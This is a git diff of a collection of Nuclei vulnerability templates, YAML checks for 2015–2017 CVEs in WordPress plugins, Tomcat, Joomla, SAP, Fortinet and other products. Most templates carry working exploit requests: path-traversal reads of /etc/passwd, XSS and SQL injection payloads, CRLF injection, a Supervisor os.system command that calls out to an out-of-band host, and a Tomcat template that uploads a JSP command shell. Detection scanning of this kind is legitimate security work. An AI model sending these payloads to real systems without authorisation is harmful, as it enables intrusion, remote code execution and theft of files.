@@ +id: CVE-2015-0554 +info: + name: ADB/Pirelli ADSL2/2+ Wireless Router P.DGA4001N - Information Disclosure + author: daffainfo + severity: high + description: ADB (formerly Pirelli Broadband Solutions) P.DGA4001N router with firmware PDG_TEF_SP_4.06L.6 does not properly restrict access to the web interface, which allows remote attackers to obtain sensitive information or cause a denial of service (device restart) as demonstrated by a direct request to (1) wlsecurity.html or (2) resetrouter.html. + reference: + - https://www.exploit-db.com/exploits/35721 + - http://packetstormsecurity.com/files/129828/Pirelli-ADSL2-2-Wireless-Router-P.DGA4001N-Information-Disclosure.html + - https://nvd.nist.gov/vuln/detail/CVE-2015-0554 + - http://www.exploit-db.com/exploits/35721 + classification: + cve-id: CVE-2015-0554 + tags: cve,cve2015,pirelli,router,disclosure +requests: + - method: GET + path: + - "{{BaseURL}}/wlsecurity.html" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "var wpapskkey" + - "var WscDevPin" + - "var sessionkey" + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/poc/cve/cve-2015-0554.yaml b/poc/cve/cve-2015-0554.yaml new file mode 100644 index 0000000000..a812e5fc89 --- /dev/null +++ b/poc/cve/cve-2015-0554.yaml @@ -0,0 +1,36 @@ +id: CVE-2015-0554 + +info: + name: ADB/Pirelli ADSL2/2+ Wireless Router P.DGA4001N - Information Disclosure + author: daffainfo + severity: high + description: ADB (formerly Pirelli Broadband Solutions) P.DGA4001N router with firmware PDG_TEF_SP_4.06L.6 does not properly restrict access to the web interface, which allows remote attackers to obtain sensitive information or cause a denial of service (device restart) as demonstrated by a direct request to (1) wlsecurity.html or (2) resetrouter.html. + reference: + - https://www.exploit-db.com/exploits/35721 + - http://packetstormsecurity.com/files/129828/Pirelli-ADSL2-2-Wireless-Router-P.DGA4001N-Information-Disclosure.html + - https://nvd.nist.gov/vuln/detail/CVE-2015-0554 + - http://www.exploit-db.com/exploits/35721 + classification: + cve-id: CVE-2015-0554 + tags: cve,cve2015,pirelli,router,disclosure + +requests: + - method: GET + path: + - "{{BaseURL}}/wlsecurity.html" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "var wpapskkey" + - "var WscDevPin" + - "var sessionkey" + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/poc/cve/cve-2015-1000012-2461.yaml b/poc/cve/cve-2015-1000012-2461.yaml deleted file mode 100644 index ea629cb089..0000000000 --- a/poc/cve/cve-2015-1000012-2461.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2015-1000012 - -info: - name: WordPress MyPixs <=0.3 - Local File Inclusion - author: daffainfo - severity: high - description: WordPress MyPixs 0.3 and prior contains a local file inclusion vulnerability. - reference: - - https://wpscan.com/vulnerability/24b83ce5-e3b8-4262-b087-a2dfec014985 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1000012 - - http://www.vapidlabs.com/advisory.php?v=154 - - https://nvd.nist.gov/vuln/detail/CVE-2015-1000012 - - http://web.archive.org/web/20210518144916/https://www.securityfocus.com/bid/94495 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2015-1000012 - cwe-id: CWE-200 - metadata: - google-query: inurl:"/wp-content/plugins/mypixs" - tags: cve,cve2015,wordpress,wp-plugin,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/mypixs/mypixs/downloadpage.php?url=/etc/passwd" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - part: body - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/06 diff --git a/poc/cve/cve-2015-1503-2471.yaml b/poc/cve/cve-2015-1503-2471.yaml new file mode 100644 index 0000000000..e67e4e7617 --- /dev/null +++ b/poc/cve/cve-2015-1503-2471.yaml @@ -0,0 +1,37 @@ +id: CVE-2015-1503 + +info: + name: IceWarp Mail Server <11.1.1 - Directory Traversal + author: 0x_Akoko + severity: high + description: IceWarp Mail Server versions prior to 11.1.1 suffer from a directory traversal vulnerability. + reference: + - https://packetstormsecurity.com/files/147505/IceWarp-Mail-Server-Directory-Traversal.html + - http://www.icewarp.com + - https://nvd.nist.gov/vuln/detail/CVE-2015-1503 + - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-001/?fid=5614 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2015-1503 + cwe-id: CWE-200 + tags: cve,cve2015,icewarp,lfi,mail + +requests: + - method: GET + path: + - "{{BaseURL}}/webmail/old/calendar/minimizer/index.php?script=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd" + - "{{BaseURL}}/webmail/old/calendar/minimizer/index.php?style=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/06 diff --git a/poc/cve/cve-2015-1880-2477.yaml b/poc/cve/cve-2015-1880-2477.yaml new file mode 100644 index 0000000000..324c752a09 --- /dev/null +++ b/poc/cve/cve-2015-1880-2477.yaml @@ -0,0 +1,31 @@ +id: CVE-2015-1880 +info: + name: XSS in Fortigates SSL VPN login page + author: pikpikcu + severity: medium + description: Cross-site scripting (XSS) vulnerability in the sslvpn login page in Fortinet FortiOS 5.2.x before 5.2.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2015-1880 + - https://www.c2.lol/articles/xss-in-fortigates-ssl-vpn-login-page + - http://www.fortiguard.com/advisory/FG-IR-15-005/ + - http://www.securityfocus.com/bid/74652 + classification: + cve-id: CVE-2015-1880 + tags: cve,cve2015,xss,fortigates,ssl +requests: + - method: GET + path: + - "{{BaseURL}}/remote/login?&err=--%3E%3Cscript%3Ealert('{{randstr}}')%3C/script%3E%3C!--&lang=en" + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + - type: status + status: + - 200 + - type: word + words: + - "text/html" + part: header diff --git a/poc/cve/cve-2015-2166.yaml b/poc/cve/cve-2015-2166.yaml deleted file mode 100644 index 143042641b..0000000000 --- a/poc/cve/cve-2015-2166.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2015-2166 - -info: - name: Ericsson Drutt MSDP - Local File Inclusion - author: daffainfo - severity: high - description: Ericsson Drutt Mobile Service Delivery Platform (MSDP) 4, 5, and 6 allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the default URI in the Instance Monitor. - reference: - - https://www.exploit-db.com/exploits/36619 - - https://nvd.nist.gov/vuln/detail/CVE-2015-2166 - - http://packetstormsecurity.com/files/131233/Ericsson-Drutt-MSDP-Instance-Monitor-Directory-Traversal-File-Access.html - - http://web.archive.org/web/20210122142229/https://www.securityfocus.com/bid/73901/ - classification: - cve-id: CVE-2015-2166 - tags: cve,cve2015,lfi,ericsson - -requests: - - method: GET - path: - - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/08 diff --git a/poc/cve/cve-2015-4050-2522.yaml b/poc/cve/cve-2015-4050-2522.yaml deleted file mode 100644 index 2d3be7d772..0000000000 --- a/poc/cve/cve-2015-4050-2522.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2015-4050 - -info: - name: ESI unauthorized access - author: ELSFA7110,meme-lord - severity: high - description: FragmentListener in the HttpKernel component in Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment. - reference: - - https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access - - https://nvd.nist.gov/vuln/detail/CVE-2015-4050 - classification: - cve-id: CVE-2015-4050 - tags: cve,cve2015,symfony,rce - -requests: - - method: GET - path: - - "{{BaseURL}}/_fragment?_path=_controller=phpcredits&flag=-1" - - matchers-condition: and - matchers: - - type: word - words: - - "PHP Credits" - part: body - - - type: status - status: - - 200 diff --git a/poc/cve/cve-2015-4694-2542.yaml b/poc/cve/cve-2015-4694-2542.yaml deleted file mode 100644 index 1ebf1fd4d4..0000000000 --- a/poc/cve/cve-2015-4694-2542.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: CVE-2015-4694 -info: - name: Zip Attachments <= 1.1.4 - Arbitrary File Download - author: 0x_Akoko - severity: high - tags: lfi,wordpress,wp,cve - reference: https://wpscan.com/vulnerability/8047 -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd' - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - type: status - status: - - 200 diff --git a/poc/cve/cve-2015-5688-2567.yaml b/poc/cve/cve-2015-5688-2567.yaml new file mode 100644 index 0000000000..55e9b3a63c --- /dev/null +++ b/poc/cve/cve-2015-5688-2567.yaml @@ -0,0 +1,29 @@ +id: CVE-2015-5688 + +info: + name: Geddy before v13.0.8 LFI + author: pikpikcu + severity: high + description: Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI. + reference: + - https://nodesecurity.io/advisories/geddy-directory-traversal + - https://github.com/geddy/geddy/issues/697 + classification: + cve-id: CVE-2015-5688 + tags: cve,cve2015,geddy,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body + + - type: status + status: + - 200 diff --git a/poc/cve/cve-2015-7297-2587.yaml b/poc/cve/cve-2015-7297-2587.yaml deleted file mode 100644 index e94845c20a..0000000000 --- a/poc/cve/cve-2015-7297-2587.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: CVE-2015-7297 -info: - name: Joomla Core SQL Injection - author: princechaddha - severity: high - description: SQL injection vulnerability in Joomla 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands. - reference: http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html - tags: cve,cve2015,joomla,sqli -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1)" - matchers: - - type: word - words: - - "cf79ae6addba60ad018347359bd144d2" - part: body diff --git a/poc/cve/cve-2016-1000131-2664.yaml b/poc/cve/cve-2016-1000131-2664.yaml deleted file mode 100644 index 75063e7c6d..0000000000 --- a/poc/cve/cve-2016-1000131-2664.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2016-1000131 -info: - name: e-search <= 1.0 - Reflected Cross-Site Scripting (XSS) via title_az.php - author: daffainfo - severity: medium - description: Reflected XSS in wordpress plugin e-search v1.0 - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2016-1000131 - - http://www.vapidlabs.com/wp/wp_advisory.php?v=393 - - https://wordpress.org/plugins/e-search - - http://www.securityfocus.com/bid/93867 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2016-1000131 - cwe-id: CWE-79 - tags: cve,cve2016,wordpress,xss,wp-plugin -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/e-search/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2016-1000132-2669.yaml b/poc/cve/cve-2016-1000132-2669.yaml new file mode 100644 index 0000000000..df36a3068e --- /dev/null +++ b/poc/cve/cve-2016-1000132-2669.yaml @@ -0,0 +1,41 @@ +id: CVE-2016-1000132 + +info: + name: enhanced-tooltipglossary v3.2.8 - Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + description: Reflected XSS in wordpress plugin enhanced-tooltipglossary v3.2.8 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2016-1000132 + - http://www.vapidlabs.com/wp/wp_advisory.php?v=37 + - https://wordpress.org/plugins/enhanced-tooltipglossary + - http://web.archive.org/web/20210123183532/https://www.securityfocus.com/bid/93865/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2016-1000132 + cwe-id: CWE-79 + metadata: + google-query: inurl:"/wp-content/plugins/enhanced-tooltipglossary" + tags: cve,cve2016,wordpress,xss,wp-plugin + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/enhanced-tooltipglossary/backend/views/admin_importexport.php?itemsnumber=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&msg=imported" + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/poc/cve/cve-2016-1000138-2698.yaml b/poc/cve/cve-2016-1000138-2698.yaml new file mode 100644 index 0000000000..2a804ad3e7 --- /dev/null +++ b/poc/cve/cve-2016-1000138-2698.yaml @@ -0,0 +1,33 @@ +id: CVE-2016-1000138 +info: + name: Admin Font Editor <= 1.8 - Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + description: Reflected XSS in wordpress plugin indexisto v1.0.5 + reference: + - http://www.vapidlabs.com/wp/wp_advisory.php?v=38 + - https://wordpress.org/plugins/indexisto + - http://web.archive.org/web/20210622181116/https://www.securityfocus.com/bid/93816 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2016-1000138 + cwe-id: CWE-79 + tags: cve,cve2016,wordpress,xss,wp-plugin +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/poc/cve/cve-2016-1000142-2714.yaml b/poc/cve/cve-2016-1000142-2714.yaml new file mode 100644 index 0000000000..e25d5ac539 --- /dev/null +++ b/poc/cve/cve-2016-1000142-2714.yaml @@ -0,0 +1,34 @@ +id: CVE-2016-1000142 +info: + name: MW Font Changer <= 4.2.5 - Unauthenticated Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + description: The MW Font Changer WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting (XSS) security vulnerability. + reference: + - https://wpscan.com/vulnerability/4ff5d65a-ba61-439d-ab7f-745a0648fccc + - https://nvd.nist.gov/vuln/detail/CVE-2016-1000142 + - http://www.vapidlabs.com/wp/wp_advisory.php?v=435 + - https://wordpress.org/plugins/parsi-font + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2016-1000142 + cwe-id: CWE-79 + tags: cve,cve2016,wordpress,wp-plugin,xss +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/poc/cve/cve-2016-10960-2764.yaml b/poc/cve/cve-2016-10960-2764.yaml new file mode 100644 index 0000000000..7d70ef5104 --- /dev/null +++ b/poc/cve/cve-2016-10960-2764.yaml @@ -0,0 +1,34 @@ +id: CVE-2016-10960 + +info: + name: wSecure Lite < 2.4 - Remote Code Execution (RCE) + author: daffainfo + severity: high + description: The wsecure plugin before 2.4 for WordPress has remote code execution via shell metacharacters in the wsecure-config.php publish parameter. + reference: + - https://www.pluginvulnerabilities.com/2016/07/12/remote-code-execution-rce-vulnerability-in-wsecure-lite/ + - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-wsecure-lite-remote-code-execution-2-3/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10960 + tags: cve,cve2016,wordpress,wp-plugin,rce + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.80 + cve-id: CVE-2016-10960 + cwe-id: CWE-20 + +requests: + - method: POST + path: + - "{{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php" + body: 'wsecure_action=update&publish=";} header("Nuclei: CVE-2016-10960"); class WSecureConfig2 {var $test="' + + matchers-condition: and + matchers: + - type: word + words: + - "Nuclei: CVE-2016-10960" + condition: and + part: header + - type: status + status: + - 200 diff --git a/poc/cve/cve-2016-2389-2779.yaml b/poc/cve/cve-2016-2389-2779.yaml new file mode 100644 index 0000000000..02048dde37 --- /dev/null +++ b/poc/cve/cve-2016-2389-2779.yaml @@ -0,0 +1,29 @@ +id: CVE-2016-2389 +info: + name: SAP xMII 15.0 - Directory Traversal + author: daffainfo + severity: high + description: Directory traversal vulnerability in the GetFileList function in the SAP Manufacturing Integration and Intelligence (xMII) component 15.0 for SAP NetWeaver 7.4 allows remote attackers to read arbitrary files via a .. (dot dot) in the Path parameter to /Catalog, aka SAP Security Note 2230978. + reference: + - https://erpscan.io/advisories/erpscan-16-009-sap-xmii-directory-traversal-vulnerability/ + - https://www.cvedetails.com/cve/CVE-2016-2389 + - http://packetstormsecurity.com/files/137046/SAP-MII-15.0-Directory-Traversal.html + - https://www.exploit-db.com/exploits/39837/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2016-2389 + cwe-id: CWE-22 + tags: cve,cve2016,lfi,sap +requests: + - method: GET + path: + - "{{BaseURL}}/XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 diff --git a/poc/cve/cve-2016-4975-2792.yaml b/poc/cve/cve-2016-4975-2792.yaml deleted file mode 100644 index 1fa0c07573..0000000000 --- a/poc/cve/cve-2016-4975-2792.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2016-4975 - -info: - name: Apache mod_userdir CRLF injection - author: melbadry9,nadino,xElkomy - severity: medium - description: Apache CRLF injection allowing HTTP response splitting attacks on sites using mod_userdir. - remediation: Upgrade to Apache HTTP Server 2.2.32/2.4.25 or higher. - reference: - - https://httpd.apache.org/security/vulnerabilities_22.html#CVE-2016-4975 - - https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2016-4975 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2016-4975 - cwe-id: CWE-93 - tags: cve,cve2016,crlf,generic,apache - -requests: - - method: GET - path: - - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection" - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)' - -# Enhanced by cs on 2022/02/14 diff --git a/poc/cve/cve-2016-6210.yaml b/poc/cve/cve-2016-6210.yaml new file mode 100644 index 0000000000..86c405ed7a --- /dev/null +++ b/poc/cve/cve-2016-6210.yaml @@ -0,0 +1,33 @@ +id: CVE-2016-6210 + +info: + name: OpenSSH username enumeration < v7.3 + author: iamthefrogy,forgedhallpass + severity: medium + tags: network,openssh + description: OpenSSH before 7.3 is vulnerable to username enumeration and DoS vulnerabilities. + reference: + - http://seclists.org/fulldisclosure/2016/Jul/51 + - https://security-tracker.debian.org/tracker/CVE-2016-6210 + - http://openwall.com/lists/oss-security/2016/08/01/2 + - https://nvd.nist.gov/vuln/detail/CVE-2016-6210 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 5.9 + cve-id: CVE-2016-6210 + cwe-id: CWE-200 + +network: + - host: + - "{{Hostname}}" + - "{{Host}}:22" + + matchers: + - type: regex + regex: + - '(?i)SSH-2.0-OpenSSH_(?:[1-6][^\d][^\r\n]+|7\.[0-2][^\d][\n^\r]+)' + + extractors: + - type: regex + regex: + - '(?i)SSH-2.0-OpenSSH_[^\r\n]+' \ No newline at end of file diff --git a/poc/cve/cve-2016-8527-2819.yaml b/poc/cve/cve-2016-8527-2819.yaml deleted file mode 100644 index 53da722789..0000000000 --- a/poc/cve/cve-2016-8527-2819.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2016-8527 -info: - name: Aruba Airwave - (XSS) - author: pikpikcu - severity: medium - description: Aruba Airwave all versions up to, but not including, 8.2.3.1 is vulnerable to a reflected cross-site scripting (XSS). - reference: - - https://www.exploit-db.com/exploits/41482 - - https://nvd.nist.gov/vuln/detail/CVE-2016-8527 - - http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-001.txt - - https://www.exploit-db.com/exploits/41482/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2016-8527 - cwe-id: CWE-79 - tags: cve,cve2016,aruba,xss -requests: - - method: GET - path: - - "{{BaseURL}}/visualrf/group_list.xml?aps=1&start=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&end=500&match" - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - type: status - status: - - 200 - - type: word - part: header - words: - - text/html diff --git a/poc/cve/cve-2017-11610-2874.yaml b/poc/cve/cve-2017-11610-2874.yaml deleted file mode 100644 index a0550aed6a..0000000000 --- a/poc/cve/cve-2017-11610-2874.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2017-11610 -info: - name: Supervisor XMLRPC Exec - author: notnotnotveg - severity: high - description: The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisord namespace lookups. - reference: - - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md - - https://nvd.nist.gov/vuln/detail/CVE-2017-11610 - - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JXGWOJNSWWK2TTWQJZJUP66FLFIWDMBQ/ - - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DTPDZV4ZRICDYAYZVUHSYZAYDLRMG2IM/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2017-11610 - cwe-id: CWE-276 - metadata: - shodan-query: http.title:"Supervisor Status" - tags: cve,cve2017,rce,supervisor,oast,xmlrpc -requests: - - raw: - - | - POST /RPC2 HTTP/1.1 - Host: {{Hostname}} - Accept: text/xml - Content-type: text/xml - - - supervisor.supervisord.options.warnings.linecache.os.system - - - nslookup {{interactsh-url}} - - - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "dns" - - type: word - part: header - words: - - "text/xml" - - type: word - part: body - words: - - "" - - "" - condition: and diff --git a/poc/cve/cve-2017-12542-2884.yaml b/poc/cve/cve-2017-12542-2884.yaml deleted file mode 100644 index e6b40b0d91..0000000000 --- a/poc/cve/cve-2017-12542-2884.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2017-12542 - -info: - name: ILO4 Authentication bypass - author: pikpikcu - severity: critical - description: A authentication bypass and execution of code vulnerability in HPE Integrated Lights-out 4 (iLO 4) version prior to 2.53 was found. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2017-12542 - - https://www.exploit-db.com/exploits/44005 - tags: cve,cve2017,ilo4,hpe - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.00 - cve-id: CVE-2017-12542 - -requests: - - method: GET - path: - - "{{BaseURL}}/rest/v1/AccountService/Accounts" - headers: - Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA - - matchers-condition: and - matchers: - - type: word - words: - - "iLO User" - part: body - - - type: word - words: - - "application/json" - part: header - - - type: status - status: - - 200 diff --git a/poc/cve/cve-2017-12583-2893.yaml b/poc/cve/cve-2017-12583-2893.yaml new file mode 100644 index 0000000000..734d4b1459 --- /dev/null +++ b/poc/cve/cve-2017-12583-2893.yaml @@ -0,0 +1,33 @@ +id: CVE-2017-12583 +info: + name: Reflected XSS in doku.php + author: DhiyaneshDK + severity: medium + description: DokuWiki through 2017-02-19b has XSS in the at parameter (aka the DATE_AT variable) to doku.php. + reference: + - https://github.com/splitbrain/dokuwiki/issues/2061 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2017-12583 + cwe-id: CWE-79 + metadata: + shodan-query: http.title:"DokuWiki" + tags: cve,cve2017,xss,dokuwiki +requests: + - method: GET + path: + - '{{BaseURL}}/dokuwiki/doku.php?id=wiki:welcome&at=' + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Unable to parse at parameter "".
' + - type: word + part: header + words: + - 'text/html' + - type: status + status: + - 200 diff --git a/poc/cve/cve-2017-12615.yaml b/poc/cve/cve-2017-12615.yaml new file mode 100644 index 0000000000..da8f4861a7 --- /dev/null +++ b/poc/cve/cve-2017-12615.yaml @@ -0,0 +1,70 @@ +id: CVE-2017-12615 + +info: + name: Apache Tomcat Servers - Remote Code Execution + author: pikpikcu + severity: high + description: | + Apache Tomcat servers 7.0.{0 to 79} are susceptible to remote code execution. By design, you are not allowed to upload JSP files via the PUT method. This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. However, due to the insufficient checks, an attacker could gain remote code execution on Apache Tomcat servers that have enabled PUT method by using a specially crafted HTTP request. + remediation: | + Apply the latest security patches or upgrade to a non-vulnerable version of Apache Tomcat. + reference: + - https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615 + - https://lists.apache.org/thread.html/8fcb1e2d5895413abcf266f011b9918ae03e0b7daceb118ffbf23f8c@%3Cannounce.tomcat.apache.org%3E + - http://web.archive.org/web/20211206035549/https://securitytracker.com/id/1039392 + - https://nvd.nist.gov/vuln/detail/CVE-2017-12615 + - http://breaktoprotect.blogspot.com/2017/09/the-case-of-cve-2017-12615-tomcat-7-put.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.1 + cve-id: CVE-2017-12615 + cwe-id: CWE-434 + epss-score: 0.96923 + epss-percentile: 0.9965 + cpe: cpe:2.3:a:apache:tomcat:7.0:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: apache + product: tomcat + shodan-query: title:"Apache Tomcat" + tags: rce,tomcat,kev,vulhub,cve,cve2017,apache,fileupload,intrusive + +http: + - method: PUT + path: + - "{{BaseURL}}/poc.jsp/" + + body: | + <%@ page import="java.util.*,java.io.*"%> + <% + if (request.getParameter("cmd") != null) { + out.println("Command: " + request.getParameter("cmd") + "
"); + Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); + disr = dis.readLine(); + } + } + %> + + headers: + Content-Type: application/x-www-form-urlencoded + + - method: GET + path: + - "{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 +# digest: 4a0a00473045022100edc9250058f3f884a3fef19576fe38659fad0a56a0087578ca251c8334aaa6550220204df971b738b9fabb312f64dffe19c1990977b41b333502f73de2b148004738:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2017-12637-2918.yaml b/poc/cve/cve-2017-12637-2918.yaml deleted file mode 100644 index f86748181a..0000000000 --- a/poc/cve/cve-2017-12637-2918.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2017-12637 - -info: - name: SAP NetWeaver Application Server Java 7.5 - Local File Inclusion - author: apt-mirror - severity: high - description: SAP NetWeaver Application Server Java 7.5 is susceptible to local file inclusion in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS. This can allow remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657. - 